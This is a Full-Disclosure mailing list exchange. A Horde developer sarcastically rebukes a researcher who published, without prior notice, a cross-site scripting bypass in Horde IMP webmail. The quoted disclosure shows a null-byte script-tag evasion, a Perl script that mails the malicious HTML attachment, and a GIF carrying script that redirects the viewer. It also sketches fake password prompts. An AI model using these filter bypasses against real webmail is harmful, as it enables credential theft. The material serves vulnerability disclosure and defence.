Hi Igor,
many thanks for not being a sucker, but being a responsible person and
notifying us about what you found before disclosing this issue.
If you had turned your brain on for a minute and talked to us, we
would have let you know that I discovered this flaw already and am
working on a fix for it at the moment. We also could have told you
that the nice folks from SEC Consult also discovered this issue long
before you and worked with us to fix it before letting the world now.
Maybe we even had mentioned that we don't want to workaround these
silly IE-parses-every-dumb-mess-as-html-bugs anymore but instead plan
to work on a whitelist mechanism to properly filter HTML message
instead of the current blacklist filters.
You will never know because you never hesitated to contact us. You
deserve nothing, especially no credits for disovering this flaw which
instead goes to SEC Consult who are smart guys and a responsible
company who know how to behave in our digital world.
Thank you, not.
Jan.
Zitat von Igor <[EMAIL PROTECTED]>:
Hello All,
PRELUDE
What is HORDE?
http://www.horde.org/about/
The Mission
The Horde Project is about creating high quality Open Source
applications, based on PHP and the Horde Framework.
The guiding principles of the Horde Project are to create
solid standards-based applications using intelligent
object oriented design that, wherever possible, are designed
to run on a wide range of platforms and backends.
There is great emphasis on making Horde as friendly to
non-English speakers as possible.
The Horde Framework currently supports many localization
features such as unicode
and right-to-left text and generous users have contributed
many translations for the framework and applications.
http://www.horde.org/imp/about/
Currently Horde Project boasts many applications, some
already enterprise-ready and deployed in
demanding environments, and some exciting new ones still in
development.
http://www.horde.org/imp/4.0/
DESCRIPTION
HORDE IMP is implementing a security strategy based on attempt to
strip HTML tags it considers harmful. Before printing an attached
file Horde will try to strip tags like <script>, <link> etc.
I can almost see you growing bored at this point - the
topic is so well-trodden, nevertheless I will continue.
Those who is exploiting this bug now - don't be sorry for
it going public - there are numerous but less apparent security issues
with Horde Imp which will still allow you to achieve the same
effect when the bug is fixed.
The next part is going to be a short one, there is nothing
to explain, the example is self-commented and well known:
<s0x00hcript>alert('HORDE')</s0x00hcript>
0x00h is an ASCII 00
At this point the marvelous strategy of "stripping" will fail to
strip <script> as well as the other arbitrary tags which are
otherwise filtered rendering IMP into some moderate quality
software. (Will work only for IE).
One can devise various examples playing with unicode
attachments and strings. Yes it looks like Horde doesn't not
know how to
handle utf16 attachments. As far as this direction is
exploited - there is
a wide playground for those, who are interested, in almost every
line of Horde products.
POC
#
# MIME::Liet SMTP client by C3PO
#
use strict;
use MIME::Base64;
use MIME::Lite;
#----------------------------------------------------
# load_file
#----------------------------------------------------
sub load_file{
my($file) = shift;
my($Body);
open(IN, $file) || die("Can't open $file $!");
binmode IN;
read(IN, $Body, -s $file);
close(IN);
return $Body;
}
#----------------------------------------------------
# main
#----------------------------------------------------
my $c = load_file('\Xploits\horder\passed.htm'); #content
my $m = MIME::Lite->new(
From =>'[EMAIL PROTECTED]',
To =>'[EMAIL PROTECTED]',
Subject =>'Horde',
Date =>"Tue, 17 Dec 2002 22:00:02 +0300",
Type =>"text/html",
Data => $c,
Filename=>"horde.html",
Encoding =>'base64'
);
$m->attr('content-type.charset' => 'windows-1251'); #not necessary
$m->send("smtp","smtp.domain.zone");
passed.htm
may contain an arbitrary HTML code and javascript, as long as IE is
used to view an attachment.
Just save some page and, using any HEX editor (preferable HIEW,
of course) insert
<s0x00hcript>alert('HORDE')</s0x00hcript>
in it.
Attach this file, send it on your mail and view via IMP Webmail using IE.
Yes, your guess is a correct one, image attachments are all so
affected:
test.gif
<script language=javascript>
alert('GIF');
document.location.href='http://i3.microsoft.com/h/en-us/i/one_care_2_10.jpg';
</script>
Attach this gif and try to view it in Horde Imp. Never ever give
direct links on images in your software, especially when the images
are not checked. (IE behavior)
Given this mechanism an attacker may easily steal
user password by devising a DHMTL attachment which will obfuscate user
input, i.e. impersonating the server it will raise an Apache
authorization window and give some "Your password is expired" crap.
The example is not provided.
Yet a closer introspection into the source codes and algorithms may
reveal some other interesting yet questionable strategies which I
leave for you to mess with.
--
Best regards
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Jan.
--
Do you need professional PHP or Horde consulting?
http://horde.org/consulting/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
